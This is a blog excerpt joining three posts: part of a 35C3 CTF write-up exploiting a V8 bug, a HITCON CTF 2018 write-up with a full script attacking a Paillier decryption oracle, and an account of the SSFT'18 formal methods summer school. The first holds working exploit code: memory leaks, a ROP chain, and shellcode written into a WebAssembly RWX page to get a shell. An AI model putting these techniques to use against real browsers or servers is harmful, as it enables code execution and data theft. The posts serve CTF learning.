It was this point forward, that a lot of time was spent chasing after leads that led to almost nowhere. I have skipped most of the details of these, but what follows is a short summary, before I get to the solution after Hours of Pain!, during A New Hope.

The first thing that I did was to try to obtain the location of D8_BASE (i.e., find the start of the first page of the d8 executable). The code below was written after spending a whole bunch of time trying to stabilize this.

function calc_d8_addr() {
    let a = LEAKED_ADDR;
    a &= ~(0xffffn);        // Go to start of page
    a = arb_read(a + 24n);  // Dereference start+8
    a = arb_read(a);        // Deref that
    a = arb_read(a);        // And now we are in d8
    a &= ~(0x7fffn);        // Go near start of page
    a -= 0x600000n;     // Go nearer to start of page
    for(var x = 0; x < 0x20000; x += 0x1000) {
    if (arb_read(a - BigInt(x)) == 0x00010102464c457f) {
        // console.log(x.toString(16));
        return (a - BigInt(x));
    }
    }
    throw "[FAIL] Could not find valid d8 base";
}
const D8_BASE = calc_d8_addr();
if (arb_read(D8_BASE) != 0x00010102464c457f) {
    throw "[FAIL] D8_BASE is unstable"
}
if (arb_read(D8_BASE + 0x606000n) != 0x89485ed18949ed31n) {
    throw "[FAIL] Can't find correct R_X page from D8_BASE"
}
console.log("    + Obtained D8_BASE = " + D8_BASE.hex());

With D8_BASE, I could obtain LIBC_BASE:

const libc_fputc = arb_read(D8_BASE + 0x115eb48n);
const libc_printf = arb_read(D8_BASE + 0x115eb68n);
const libc_puts = arb_read(D8_BASE + 0x115eb58n);
const libc_base = libc_fputc - FPUTC_OFFSET;
if ( libc_base + PRINTF_OFFSET != libc_printf ) {
    throw "[FAIL] Unknown libc";
}
if ( libc_base + PUTS_OFFSET != libc_puts ) {
    throw "[FAIL] libc is messing with me";
}
console.log("    + libc_base: " + libc_base.hex());

... and thus, we could leak a stack address:

const libc_environ = libc_base + ENVIRON_OFFSET;
const stack_leak = arb_read(libc_environ);

Now, the plan was clear (or so I thought): write a ROP chain, and trample over the stack backwards until we hit a RETsled, that jumps to our ROP chain. Then, we've got shell, and we've got the flag. Easy-peasy, right? Nope, so damn wrong.

Finally, shell! Or is it?

At this point, I created a ROP chain for an execve shell, using ropper on d8. I also added code to start trampling over the stack:

let cur_pos = stack_leak - 8n * BigInt(ROPCHAIN.length);
for (var i = 0 ; i < ROPCHAIN.length ; ++i) {
    arb_write(cur_pos + 8n * BigInt(i), ROPCHAIN[i]);
}
for (var i = 0 ; i < TRAMPLE_MAX ; ++i) {
    // console.log(i);
    cur_pos -= 8n;
    arb_write(cur_pos,
          RET
         );
}

After spending tons of time in the debugger, I was finally able to figure out that setting TRAMPLE_MAX to 17 worked, and I finally got a shell!!! While this was a local shell on my own machine, I had been using the same binary as the server, so I thought: what could be so different? Of course, I was accounting for differences in offsets between server and my machine, but I couldn't be more wrong.

On a side note: this exploit works with relatively high reliability. It fails once out of every 10~20 runs, but otherwise it works brilliantly. Also, I had switched over to a manually written ROP chain using libc. This version of the exploit can be found here.

I used the prettydiff minifier to minify my code, as the server accepted only one line, and sent it over. No shell. Just a stack smash. Now began the many many hours of pain.

Hours of Pain!

I now had a valid exploit, and I was able to get a local shell, even with the minimized version (thus showing that minifier wasn't doing something wrong). I also had the shell work with high reliability, so after doing a couple of dozen tests on the server, I knew that it wasn't a reliability issue. Maybe it was a difference in offsets?

They had provided a Dockerfile along with the challenge, and it used tsuro/nsjail. This is what I had used to obtain the libc in order to get its offsets, but I could now use this to debug why things were failing. Unfortunately, the Dockerfile cannot be used out of the box. Instead, it requires some other correct set up. I was too tired to figure that out, so I just simply spun up tsuro/nsjail, believing that the rest of the stuff was just fluff to prevent things from staying up too long, and adding in proof-of-work, etc.

I was able to have the exploit run stably inside the docker container, so that felt odd. I was too sleep deprived to think all that clearly, but soon, I realized that the server was using worker.js which I was not. I quickly added a modified worker.js so that I would not need to always paste/pipe in my exploit (basically by replacing a readline with a read from file).

After some tinkering around, my exploit worked! I sent it over to the server, and nope, nothing. I tried again, and nothing.

After spending a bunch more time, I realized that the readline was messing with me, and I was unable to get the shell unless I used the --allow-natives-syntax flag (which btw, I had already replaced the %OptimizeFunctionOnNextCalls with loops, in order to not require natives), but for some reason, adding that flag made the stack amenable to give me a shell.

From this point onwards, it was pure agony, and I tried a whole bunch of different things. These included trying to one-gadget it, using a JITted function, or using a random function pointer, etc. Since full RELRO was enabled, I couldn't overwrite the GOT. Ricky provided tons of ideas at this point, and I'd tried a whole bunch, but none worked out. It didn't help that the exact scenario that I was in, I could not directly have the bug triggered inside GDB, and outside GDB, if I triggered it and obtained a core dump, when I tried to analyze it, GDB itself crashed and gave a core dump.

I was about to give up. I didn't have a flag, but I at least got a shell locally, and that was a big win for me, personally, and I was also extremely sleepy at this point.

A New Hope

I announced my intentions of giving in to sleep on our team Slack, and Ricky asked me to take another closer look at one of his suggestions: looking at WebAssembly (aka Wasm). Due to the addition of Wasm support to v8 (over the past couple of years), we can write JS code to call out to functions written in Wasm. In order to optimize Wasm code, v8 compiles that to native code as well. Ricky indicated that it might be possible that this compilation might lead to the creation of an RWX page that we might be able to use for our exploits.

I had tried this out earlier, and had been unable to really use it (i.e., I had been unable to trigger the creation of an RWX page), but just to make sure that I had done things right, I opened up a new text editor, and wrote down some JS code to initialize and execute some Wasm code. The only goal of introducing Wasm into our exploit is to introduce an RWX page that we can then use.

Running this and checking vmmap using peda, I realized that we had introduced an RWX page (!)

From this point forward, there is a "new" (or ancient) path to shell that I can see: write shellcode to the RWX region, and then directly execute it. I was no longer sleepy :D

Flag!

Now that I could see a new approach to getting a shell, I was re-energized. I started to look for "paths" from known functions/variables to the RWX page. Fortunately, I found one that seemed stable, even on the server, and I was able to obtain a pointer to a function that I could execute.

At this point, all that remained was to actually add in some shellcode (taken from shell-storm), and I'd have shell.

The final exploit consisted of initializing wasm, in order to obtain an rwx_page_addr and a wasm_func that when run, would execute the core at the address obtained.

let wasm_buffer = new ArrayBuffer(wasm_simple.length);
const wasm_buf8 = new Uint8Array(wasm_buffer);
for (var i = 0 ; i < wasm_simple.length ; ++i) {
    wasm_buf8[i] = wasm_simple[i];
}

let rwx_page_addr = undefined;

var wasm_importObject = {
    imports: {
    imported_func: function(arg) {
        // wasm_function -> shared_info -> mapped_pointer -> start_of_rwx_space
        let a = addr_of(wasm_func);
        a -= 1n;
        a += 0x18n;
        a = arb_read(a);
        a -= 0x91n;
        a = arb_read(a);
        rwx_page_addr = a;
        console.log("    + rwx_page_addr = " + rwx_page_addr.hex());
        stages_after_wasm();
    }
    }
};

async function wasm_trigger() {
    let result = await WebAssembly.instantiate(wasm_buffer, wasm_importObject);
    return result;
}

let wasm_func = undefined;

wasm_trigger().then(r => {
    f = r.instance.exports.exported_func;
    wasm_func = f;
    f(); });

Once we had these, it was a simple matter of throwing in, and executing the shellcode:

function stages_after_wasm() {
    for (var i = 0 ; i < shellcode.length ; ++i ) {
        let a = rwx_page_addr + (BigInt(i) * 8n);
        arb_write(a, shellcode[i]);
    }
    wasm_func();
}

And there we have it, a shell! Since this no longer relied on the stack, it was a much more stable exploit, and I was able to run it on the server, and obtain the flag: 35C3_this_bug_was_a_minus_zero_day. Quite a fitting flag, won't you say?

Concluding Remarks

This challenge was super fun and interesting. I learnt a lot along the way, even though I was frustrated at times, especially due to the stack issues at the end. On a discussion with Stephen after I had got the flag, he said that he too had to get around the weird stack issue, but he'd done it by overwriting free_hook with system, and then calling console.log with sh. That definitely was an awesome solution as well, and one that I will keep in mind for the future.

Acknowledgements

Massive thanks to Ricky who gave massive moral support and kept throwing in ideas when I was about to give up, after I'd been facing those stack issues. Also, mad props to Stephen for finding this bug, and having this as a challenge in 35c3. Thanks to Carolina for reviewing this writeup and providing some super helpful suggestions.

More on V8 exploitation

Coming soon: a writeup on a 0-day that I found in v8. Follow me on Twitter to know when I release a new blog post, and more. Or alternatively, RSS!

HITCON CTF 2018 - Lost Modulus

2018-10-24T00:00:00+00:00

Last weekend was HITCON CTF 2018, and it was really awesome! I personally spent time on various super interesting challenges. Below is just one of them that I happened to solve on the first day. I found to be particularly interesting to solve since I never have had a chance to dive into any homomorphic encryption systems before.

I lost my modulus. Can you find it for me?
nc 13.112.92.9 21701
crypto-33dee9470e5b5639777f7c50e4c650e3.py

Simply because the attack has an almost movie-like decryption, here's a gif demo of my script before I start explaining things:

The server script seems to implement the Paillier Cryptosystem, and exposes the ability to perform some queries.

The server first gets two 512-bit primes p and q, and then proceeds to perform standard key-generation to compute required intermediates for encryption and decryption. One thing to note here is that since p and q are of equivalent length, the simpler variant for key generation is used, but otherwise it seems to be standard.

Once that is done, it encrypts the flag and sends it to us, and then exposes the ability to perform a maximum of 2048 queries. These queries can be one of two kinds A or B:

A: Encrypt arbitrary input
B: Decrypt arbitrary input, but only receive the least significant byte.

Upon reading the Wikipedia page for this cryptosystem, we realize that it is additive-homomorphic. This means that we can produce the encryption of any linear combination of messages, if we have the encrypted messages themselves. In particular D(E(m1) * E(m2)) == m1 + m2. This turns out to be extremely useful in solving this challenge.

Since we have the encrypted flag (which we'll call flag_enc), and we have a lsB (least significant byte) decryption oracle (query B), we can easily obtain the least significant byte of the flag. If we know modinv(256, n * n), we can repeatedly subtract out the least significant byte (since Paillier is additive-homomorphic), and then multiply by this value (which effectively divides it by 256), and then perform query B to obtain the entire flag.

However, we are not provided n by the server, hence the name of the challenge "Lost Modulus", we presume.

To find n, we considered a bunch of different approaches, two of which were msb (most significant bit) based leak, and binary search. We were unable to get the msb approach working, so we decided upon the binary search.

The binary search technique required usage of the fact that if we encrypted a value (say x) that was larger than or equal to n, and then decrypted it, then the least significant byte would not match up with x's least significant byte. However, if x was smaller than n, then it would match up. Notice that we require 2 operations for each query for the binary search here (A to encrypt, and B to get the lsB). Since n is 1024 bits long (as both p and q are 512 bytes each, and n = p * q), this would take 2048 queries.

And this is where we hit upon the query limitation. Within the number of queries that it would require to get n, we would no longer have any queries left to get the flag. Recall that n changes on each connection.

Recall that to get one byte of the flag, we require two operations (one to find out what value to subtract, and another to perform the decoding after the multiply). This meant that every 2 operations that we could shave off of the 2048 required for the binary search would give us 1 more byte of the flag.

The first 2 operations are easy to shave off: n must be odd (since p and q are odd, as they are large primes), which means that the lsb of n must be a 1. At this moment, we decided to write up a script to perform the attack.

Unfortunately, it took approximately half an hour (due to round trip times) to perform all the queries required to get n, which only revealed one byte of the flag. We could possibly parallelize this, except we need to know the "previous" byte of the flag to calculate the "current" byte, so it must happen one after another. We could possibly get around this issue, by calculating many ns together, while keeping open connections, waiting for previous bytes of the flag to be flushed, and then use them, however the server allowed only 4 concurrent connections. Due to the size of n, we knew that the flag could be upto 128 bytes, which meant even this was infeasible, so we decided to try to improve the query performance further.

We then started thinking about how we might do the binary search differently. Recall that Paillier is additive-homomorphic, which means if we pre-compute a table of encrypted values (using type A queries), and if some value we want to encrypt is a linear combination of these, then we can simply obtain it directly. This saves us on A type of queries. A good set of values to pre-fetch are powers of two, since we can simply look at the binary encoding of a number, except there are 1024 powers of 2, which are potentially smaller than n, which doesn't give us any savings.

However, we realize that we can simply pre-fetch (using type A queries) only some subset of them, using the fact that 2^(n+1) == 2^n, which can give us the rest of the values. We thus settled upon pre-fetching for 2^0, 2^2, 2^4, ... (which is a total of 512 queries). Notice that this save us 512 queries, which is more than sufficient to obtain the flag in a single connection.

When we implement this however, we faced an issue (which in hindsight should've been a non-issue, since we should've taken everything modulo n^2) but it took a long time to actually perform all the multiplies needed to get the encrypted form of a number with lots of 1s in its binary representation, in terms of CPU time. Recall that to add m1 and m2, in the encrypted world we need to multiply them. Thus, we decided to add in memoization, with a randomized fetching via a type A query, for about 10% of the numbers that we wanted to encrypt. Overall, this meant that although we were making more queries, we would be able to get values much faster.

Overall, our script finds the flag in approximately 1700~1800 queries.

Explanation of Script

Query Setup

This part simply imports all important libraries, and sets up two extremely useful helper functions cmdA and cmdB that can be used to quickly perform queries. It also sets up a global running counter of number of queries used (which during the CTF, we called "commands run"). This made it easy for us to diagnose how things are going while it is running.

from pwn import *
from Crypto.Util.number import *
from gmpy import *
from os import getenv
from random import random


commands_run = 0
commands_run_prog = log.progress("Commands run")


def cmd(c, inp):
    global commands_run
    commands_run += 1
    commands_run_prog.status(str(commands_run))
    conn.recvuntil("cmd: ")
    conn.sendline(c)
    conn.recvuntil("input: ")
    conn.sendline(long_to_bytes(inp).encode('hex'))
    return bytes_to_long(conn.recvline().strip().decode('hex'))

Stage 0

Here, we set up the connection to the server, and get the encrypted flag flag_enc.

def stage0():
    global conn, flag_enc
    if getenv('LOCAL') != "TRUE":
        conn = remote('13.112.92.9', 21701)
    else:
        conn = process(
            './crypto-33dee9470e5b5639777f7c50e4c650e3.py'
        )
    conn.recvline()
    flag_enc = conn.recvline().strip()
    flag_enc = bytes_to_long(flag_enc.decode('hex'))
    log.success("Stage 0: Complete")

Stage 1

Now, we have to prime up the encode function by pre-fetching the requisite data. We additionally set up a separate encode function which uses the pre-fetched memo, in order to reduce the number of queries required. It also performs cmdA with 10% probability, to speed up encryptions as mentioned above.

memo = {}


def stage1():
    global memo
    prog = log.progress("Stage 1")
    for i in xrange(1024):
        prog.status(str(i))
        if i % 2 == 0:
            val = cmdA(2 ** i)
        else:
            prev = memo[2 ** (i - 1)]
            val = prev * prev
        memo[2 ** i] = val
    prog.success("Complete")


def encode(inp):
    global memo
    if random() < 0.1:
        memo[inp] = cmdA(inp)
        return memo[inp]
    val = None
    inp_copy = inp
    for k in sorted(memo.keys())[::-1]:
        while k <= inp:
            if val is None:
                val = 1
            val *= memo[k]
            inp -= k
    memo[inp_copy] = val
    assert inp == 0, repr(inp)
    return val

Stage 2

Now, we move on to actually computing the value of n. This is a relatively standard binary search, with minor modifications to ensure that we are only looking at odd numbers.

def stage2():
    global n
    checks = 0
    low = 0
    high = 2**1023
    prog = log.progress("Stage 2")
    while low <= high:
        mid = (low + high) // 2
        checks += 1
        prog.status("low = %s, high = %s" %
                    (hex(low), hex(high)))
        test = mid * 2 + 1
        y = cmdB(encode(test))
        x = test % 256
        if x != y:
            high = mid - 1
        elif x == y:
            low = mid + 1
        else:
            assert False
    prog.success("Complete")
    n = low * 2 + 1

Stage 3

Now that we have n, we have to compute the flag.

def stage3():
    global flag
    shifter = invert(256, n * n)
    known_flag = []
    prog = log.progress("Stage 3")
    for lsh in xrange(128):
        assert lsh == len(known_flag)
        val = flag_enc
        prev_lsh = lsh - 1
        subtr_val = 0
        while prev_lsh >= 0:
            prev = known_flag[prev_lsh]
            subtr_val *= 256
            subtr_val += prev
            prev_lsh -= 1
        if lsh > 0:
            neg = ((n * n) - subtr_val) % (n * n)
            val = val * cmdA(neg)
        test = pow(val, shifter ** lsh, n * n)
        known_flag.append(cmdB(test))
        if known_flag[-1] == 0:
            break
        prog.status(repr(''.join(map(chr, known_flag))[::-1]))
    flag = ''.join(map(chr, known_flag))[::-1].strip('\0')
    prog.success("Complete")

Profit

We call out all the stages in order, and profit with a flag!

stage0()
stage1()
stage2()
stage3()
log.success("FLAGE!!! " + repr(flag))

Flag

hitcon{binary__search__and_least_significant_BYTE_oracle_in_paillier!!}

I originally wrote this for the PPP public-writeups repository. Adapted it with minor stylistic changes for the blog.

My Awesome Experience at the Summer School on Formal Techniques (SSFT'18)

2018-05-31T00:00:00+00:00

I spent the past week, at the Summer School on Formal Techniques, and it was an absolutely amazing experience. Chronicled below, are the different great talks/labs that were part of this week long program, as well as my thoughts interspersed in. Overall, this was an unforgettable week, where I learnt a lot, made new friends, and had some nice discussions about a lot of very interesting topics. I also found out about some things that I had no idea about before, and thus I decided to write at least a short summary down for each of the different things that happened, so that maybe it might be useful to some (or more likely me from the future) as references for things to read up on.

Group Photo at SSFT'18

I initially heard about SSFT via a message on our Project Everest Slack. After all, two of our team (Nikhil Swamy and Jonathan Protzenko) were going to give talks and conduct tutorials at this summer school. Since I had only recently (approximately a year ago) started my journey into Formal Methods/Techniques, this seemed like the perfect opportunity to widen my field of view in this field- a field which seems to be able to cover almost every topic known in Computer Science. As a person who started from a more "systems-y" background, I (rightly) thought that this would give me the requisite theoretical background to dive deeper into this field, in addition to giving me practical hands on experience with other tools and techniques used in this field. I'd been using F* for almost a year by now, but had yet to have had a chance to mess around with other tools that are commonly used (except for Dafny, which is a beautiful language to start off in this field btw). The fact that approximately half the time was dedicated to the labs, surely was a bonus!

The Summer School was held at Menlo College in Atherton, California, from Sat May 19 to Fri May 25, 2018. I must thank SRI for organizing it, and NSF for funding our travel/stay/etc. The organization of the entire summer school, as well as how everything was managed, was absolutely impeccable. Oh, and a special shout-out goes to the chefs at Menlo College who made absolutely marvelous food that kept us powered up through this week long intense mental workout!

As for the actual summer school, it started off with an optional background course, titled "Speaking Logic", which ran over the first two days (i.e. Sat/Sun). Despite it being optional, it seems like most of us at the summer school attended it, and it definitely was worth it. N Shankar took us through a beautiful journey through the fundamentals and principles of logic and formal methods. Along this journey, we made stops along Naive Set Theory, Propositional Logic, Cook's Theorem, Reductions to SAT, Proof Systems, Minimal Logic, and Meta-Theorems. We also stopped off at Interpolation, Resolution, First Order Logic, SMT Solving, the Tarski-Knaster Theorem, and Bounded Model Checking. Alongside these (already amazing) topics were the awesome detours that Shankar took, with his own anecdotes and stories. A bunch of these even led to some intense discussions during and after the lectures! We did do a bunch of proving things in PVS, and it definitely seems like a great tool to get people started with some serious formal proofs :)

After this deep dive into Logic, Stéphane Graham-Lengrand took us on an adventure through Type Theory, where the Proofs-as-Programs paradigm reigns king. Type Theory is the foundation for a wide variety of interactive theorem provers, such as Coq, Agda, Lean, Matita, etc. During this talk, we went over the Lambda Calculus and Simple Types, Intuitionistic logic (and Constructivism), Computing with Intuitionistic proofs, HOL with proof-terms, Dependent types, and more, all building up to the final bomb that blew our minds- Homotopy Type Theory. Stéphane used an extremely well thought out analogy, using a Vacuum Cleaner Power Cord, to explain the basics and motivation for Homotopy Type Theory (HoTT). I'd always wondered why people were excited when talking about equalities, but with just this one example, Stéphane has ensured that I am definitely going to dive into this topic, much deeper, sometime soon! BTW, this entire talk was punctuated with proofs done in Coq, and the exercises for the same, can be found here.

As day 2 came to an end, some of us realized that we'd covered a lot of ground, and that we'd need some time to digest it, so we went back over our notes and the slides, trying to ensure that we'd actually got some of the details straight. BTW, the speaking logic slides are not only available online, but are also quite detailed, and I would recommend the interested reader to take a look at these to get an overview of what logic and proofs and formal methods are about. However, the slides do not include all of those amazing anecdotes etc, that were there during the actual talk, so maybe you should consider joining the summer school when it happens next? ;)

Starting from Day 3 (i.e. Monday), we had a change of pace, with the schedule changing to a bunch of talks until mid-afternoon, followed by a couple of lab-sessions.

Monday's talks started with a wonderful talk by Emina Torlak, about Rosette. The talk, titled "Solver-Aided Programming" was about a programming model that integrates solvers into the language, which provides constructs for program verification, synthesis, and more. A strong emphasis was placed on the paradigm of "Verify, Debug, Solve, Synthesize", which are implemented in Rosette as powerful user-friendly constructs. Since Rosette is built on top of Racket, we get all the benefits of Racket (and thus, all the LISP goodness), which leads to a very elegant way to program using solvers. The four parts of the paradigm can be thought of as the following queries that any user might want to ask a language: (1) Verify: "find me an input on which the program fails, or prove that it cannot fail", (2) Debug: "localize the bad parts of the program", (3) Solve: "Find values that repair this failing run", and (4) Synthesize: "Find code that repairs the program".

The next talk was by Nikhil Swamy, about F*. It explained how there is a gap between interactive proof assistants (such as Coq) and semi-automated verifiers of imperative programs (such as Dafny), and that F* was about bridging that gap. F* has an ML-like syntax, and has dependent typing. What this means is that verification is done via the process of type checking. The rest of the lecture continued with examples showing (simple) proofs written in F*, for functional programs, as well as a discussion on how we can write proofs for effectful code, using Monadic effects, and by modeling the heap. Personally, despite having worked with F* for almost a year now, I still gained some new insights, such as the fact that subtyping being possible due to the core feature of refinements being proof irrelevant after finishing the proof.

Next up, after lunch, was a talk by the unforgettably energetic Mooly Sagiv, titled "Modularity for decidability of deductive verification with applications to distributed systems". It took us through the motivation of why decidability was crucial for verification, and that despite seemingly restrictive (since the logic then becomes less expressive), we are able to talk about and prove whatever interesting properties that are needed, at least in the case of distributed systems. Specifically, this decidable deductive verification was demonstrated using Ivy. The basic idea behind this is that when a verifier goes into the "Unknown" state (i.e., it is divergent; aka "I can't decide"), this gives very little (if any) information back to the person working with the verifier, since the property being verified might either be true, or might have a counter-model (read: counter-example), but no further information is known. Instead however, if we were to restrict ourselves to a logic that is always decidable, then we are guaranteed never to reach the "unknown" case. The talk then went on to some examples of verification in this decidable world (and how to represent some things that are "not expressible", but turn out to be expressible when you look at them from a different perspective). What was really interesting was how many fewer lines of proof were required per line of code in Ivy, in comparison with other tools. More details about how it is able to do so, would be in the following lecture.

After a short break, we had the lab sessions, where we split off into 2 groups (using a great way to introduce randomness btw: if the first letters of both your first and last name lie in the same half of the alphabet, then you belong to group A, else group B). All the groups had all the lab sessions, just in a different order; since I was in Group A, my order shall be based off of that.

Our first lab session was by Emina Torlak, where we got to dive into working with Rosette. As a warmup, we worked on finding and fixing a bug in a tiny BitVector example. As a larger example, we worked on Sudoku. Starting only with a checker (i.e., a program that, given a Sudoku solution, results in a "yes it is a valid solution" or "no it is not"), we turned it into a Sudoku solver (find a solution, given a puzzle), a validity checker (checks if a Sudoku puzzle has exactly 1 solution), and minimal puzzle generator (a puzzle that has the least number of constraints needed to be valid). What was extremely interesting was how easy it was to build each of these using just the checker. Rather than gain domain knowledge about how to write solvers, generators etc., we simply piggy-backed on the already implemented checker, and with only a single-digit number of lines of code, were able to implement all of this! Unfortunately, I do not know of a public link where this tutorial is available, but it is a very well designed and thought out tutorial that I'd recommend people try if they can find it.

Next up was the lab session by Mooly Sagiv, about Ivy. Here, he gave a live demonstration of using Ivy to verify a protocol for mutual exclusion. In contrast with previous experiences with verification, this was a welcome change, where the tool itself gives you a graphical counter-example, when it is unable to prove that a certain invariant holds. While it still falls upon the user of the tool to provide stronger invariants that can be proven via the induction, being able to see these counter examples instead of simply a "timed-out" as is more likely in other tools, is definitely a game changer

The next day (Tuesday), we started off with a talk by Andreas Abel, about Agda- the dependently typed functional programming language which is a proof assistant. The material for what was covered can be found here. The talk had a strong "do this live" approach, where Andreas was explaining things as he continued working on Agda code, proving things. We also went over an elegant representation and ordering invariant for binary search trees in Agda. This was based off of Conor McBride's paper "How to keep your neighbours in order". Personally, I found that Agda had a very elegant interface which made it more natural to think about proofs, and this made understanding the proofs themselves a lot easier.

The next talk was by Emina Torlak. Yes, almost every speaker gave 2 talks and had 2 lab sessions. This time, the talk was about how to build a solver aided language. The classic (read: hard) way to build such a tool is to build a symbolic compiler, which requires an expertise in Programming Languages, Formal Methods, and Software Engineering. A much easier method would be to build an interpreter for the language, and have something that uses this to build all our tools for us. This kind of tool is a significant technical challenge and is what Rosette solves for us. We can simply have a (deep or shallow) DSL hosted in Rosette (where, since Rosette is built on top of Racket, this becomes very easy), and then we can easily build the 4 tools- verify, debug, solve, and synthesize, very easily. The talk then went into details about how this massive technical hurdle is overcome (since neither symbolic execution, nor bounded model checking, are up to the exact requirements of this task of precise symbolic encodings). It is done via type-driven state-merging. This was followed by 3 different use-cases (out of many many others) where Rosette has been used to get some very interesting results.

The last talk before the break before the labs, was by Jonathan Protzenko, titled "Verified low-level programming embedded in F*". Specifically, the talk was about a low-level subset of F*, named Low*, which allows one to write and reason about low-level C code. The talk goes into detail about how different parts of C are modeled in Low*, as well as talks about the kreMLin compiler, which compiles Low* code to readable C. Since proof-erasure is a part of this process of compiling down to C (because C has no notion of proofs by itself), we only need to use the low-level subset in the actual computation bits, and can use the full power of F* in the proofs. There is a tutorial for Low* available online (currently a work-in-progress).

The first of the labs on the same day was part 2 of Emina Torlak's lab. In this, we worked on actually building DSLs- first a shallowly embedded DSL, followed by a deep embedded DSL, for a circuit-based programming language. An important thing to note here is that shallow DSLs are faster and easier to implement, and are almost always the right choice for either the "verify" or the "debug" operations. However, if we want any sort of "synthesize" operation, then shallow DSLs fall short extremely quickly, and deep embeddings work out much better.

The second lab on Tuesday was part 1 of the F*/Low* Lab, conducted by Nikhil Swamy. Here, we went across some select examples from the F* Tutorial. Special emphasis was placed on how one comes up with these proofs, and how F* is able to infer most of the proof, requiring only a "here's the form of the induction" argument. One interesting point that came up during this discussion was the possibility for F* to automatically "guess" the form of the induction. This seems quite doable in a large number of cases, and is something that is worth considering, though F* doesn't support this at the moment, and one needs to explicitly point out things like "do an induction on this list" (and the rest of the proof is automatic). The tutorial is well written and thought out in a way to be self-contained, while not repeating concepts that might be known to an OCaml / F# developer. There are some nice motivating examples/stories in the tutorial online too. I would definitely recommend the interested reader to try these out (though some people might need to take a crash course on OCaml / SML / F# syntax, if they aren't used to it).

With this, Tuesday came to a close, and we started Wednesday with a talk by Dirk Beyer, about CPAChecker. The talk, titled "Configurable Software Model Checking - A Unifying View" was about how one can unify different techniques, ideas, and algorithms in program analysis and verification, into a single framework, that also allows for the creation of "intermediate" algorithms. This ability to configure allows one to move all the way between imprecise but scalable Data-flow analysis, all the way to the precise but expensive Model Checking, by better combination of abstractions. Via Dynamic Precision Adjustment, one gets a better fine tuning of abstractions and gets adjustable precision, thereby allowing a similar movement between precise/expensive and imprecise/scalable. By using an adjustable block encoding, one can change how many statements are handled together all at once. The rest of the talk revolved around CPAChecker's features, concepts, ideas, algorithms, as well as architecture. We'd get to play around with it in the lab soon! Oh, and btw, CPAChecker has regularly been doing well in the SV-COMP Competition on Software Verification, coming in with Gold in 2018!

Next up, part 2 of Andreas Abel's talk. He continued with the "doing it live" approach, but this time, we were looking at examples from programming languages, like representation of expressions, evaluation, and equational reasoning. Again, the files can be found here. In my opinion, understanding these things well definitely involves following along, proving these things in Agda, so I would 100% recommend interested readers take a look at the Lec2.zip file on the website, and try proving stuff. The comments in these files are really helpful, especially if you've already gone over the files from Lecture 1. I have to specially point out how amazing it is that time was put in to make sure these examples were extremely well documented, and is thus easy enough for a beginner to follow along. Being at the talk though helped a lot too, and probably saved a bunch of time for many of us in understanding these ideas.

And then right after lunch, part 2 of Mooly Sagiv's talk. This time, the talk was much more about the technical details of Ivy and its 3 most important principles: (1) What 1^st order structures would exist in the language -- abstract states and imperative updates. This gives us a "step towards decidability". (2) Theories as add-ons. When the user axiomatizes domain knowledge in EPR (which is what gives the decidability), soundness is checked, and we get reusable domain knowledge with predictable automation. (3) Modularity for breaking quantifier alternation cycles. It falls upon the user to break these cycles, and Ivy will only point out that there are cycles, instead of trying to break them by itself. One very interesting idea that falls out of this is how sometimes it becomes useful to perform the abstraction of functions as relations instead.

As for the labs for Wednesday, we started off with the first of the Agda labs, by Andreas Abel. In this lab, we worked on some simple definitions and proofs in Agda. I'd strongly recommend going over the exercises which are quite self-contained, and have some interesting bits that one might get stuck upon before realizing where to go next.

The next lab was the first of the CPAChecker labs, by Dirk Beyer. Here, we followed along parts of the CPAChecker Tutorial, which is also very self-contained. It contains a bunch of nicely chosen examples which help in identifying different features of CPAChecker, and has a nice progression to it.

And with that, Wednesday draws to an end. By now, we've all had a lot of interesting ideas, works, thoughts, anecdotes, stories, and concepts explained to us- and while for some, it might have seemed like an overwhelming amount, to most of us (or at least to me), this was a treasure trove of knowledge in a short, condensed, concentrated form. Personally, I was having an amazing time here. I must also bring up the fact that the rest of the students at the summer school were also a major factor in this, since everyone was brimming with ideas, and worked on such varying topics, that no matter who you were talking to, there was always something amazing to learn.

Anyways, back to the talks- we are now on Thursday. We start the day with a talk titled "Verifying Properties of Binarized Deep Neural Networks", by Nina Narodytska. With Machine Learning (and more specifically, Deep Neural Networks) becoming the rage and the norm for a lot of industries, it becomes essential to actually try to understand properties about them, especially about robustness to perturbation. In this talk, a specific class of neural networks is taken and is studied via an encoding to Boolean Satisfiability (i.e. SAT). Once it is encoded at a SAT problem, one can then leverage the full-power of research done in making better SAT solvers, to be able to scalably verify properties of these binarized deep neural networks. An arXiv pre-print of the work can be found here.

Next up was the second talk by Dirk Beyer, which was split into 4 parts (again, the material can be found here). One of the parts was about how one might combine different verifiers etc. Currently, we have a lot of verifiers, due to competitions such as SV-COMP, but it would be great to be able to leverage the strengths of one to help the other. This is where conditional model checking comes in. A really elegant "reducer" based construction was shown, which allows one to basically "import" any verifier and make it use the results of a previous conditional verifier. Another part was regarding verification with witnesses, which was about witness validation, as well as stepwise refinement of witnesses. This is another case where multiple verifiers could work in conjunction to either aid each other, or to provide higher assurance in each other's results. Another idea was about execution based validation of witnesses- this one is especially important when talking to people outside of the verification community, since they respond best to "here's a test case that breaks the software" rather than "here's a set of paths which might lead to a break in the software".

Finally, the last of the talks of the day was by Gordon Plotkin. This talk, titled "Some Principles of Differentiable Programming Languages" was an absolute beauty! In this talk, he walked us through what Differentiable Programming Languages are, and why they are necessary (as well as difficult). He then went on to explain some previous foundational work that might have been useful, if it weren't for those pesky partial functions. Following along, he went along his thought process in how he worked on designing the right language which has differentiation as a fundamental operation in it (despite having conditionals and looping). Personally, I found it extremely fascinating to see the thought process of reaching such an elegant language in the end. It starts off extremely messy, and keeps getting messier until suddenly, beauty emerges at the end. There are a whole bunch of notes that I wrote down during this talk, but I believe nothing can do justice to summarizing this talk. It was filled with lots of interesting side-notes, and anecdotes, and ideas that themselves could be talks of their own.

Back to the labs: we started Thursday's lab session with part 2 of the Ivy lab, by Mooly Sagiv. At this time, we got to actually play around with and truly understand the though process behind coming up with inductive invariants while proving things in Ivy. We specifically took up the example of leader election in a ring, and tried to prove that at the end of the protocol, exactly one leader would be elected. Due to Ivy's fast turn-around time to respond to the written invariants, as well as its relatively easy to understand graphical representation of counter examples, it became much more about identifying stronger and stronger properties that might help us in proving the property we want, rather than fighting with the prover, which seems to happen in a lot of automated proof systems. At the end of finding the proof, we also end up having a very nice birds eye view of the proof, since we've written these nice inductive invariants, by the time we are done.

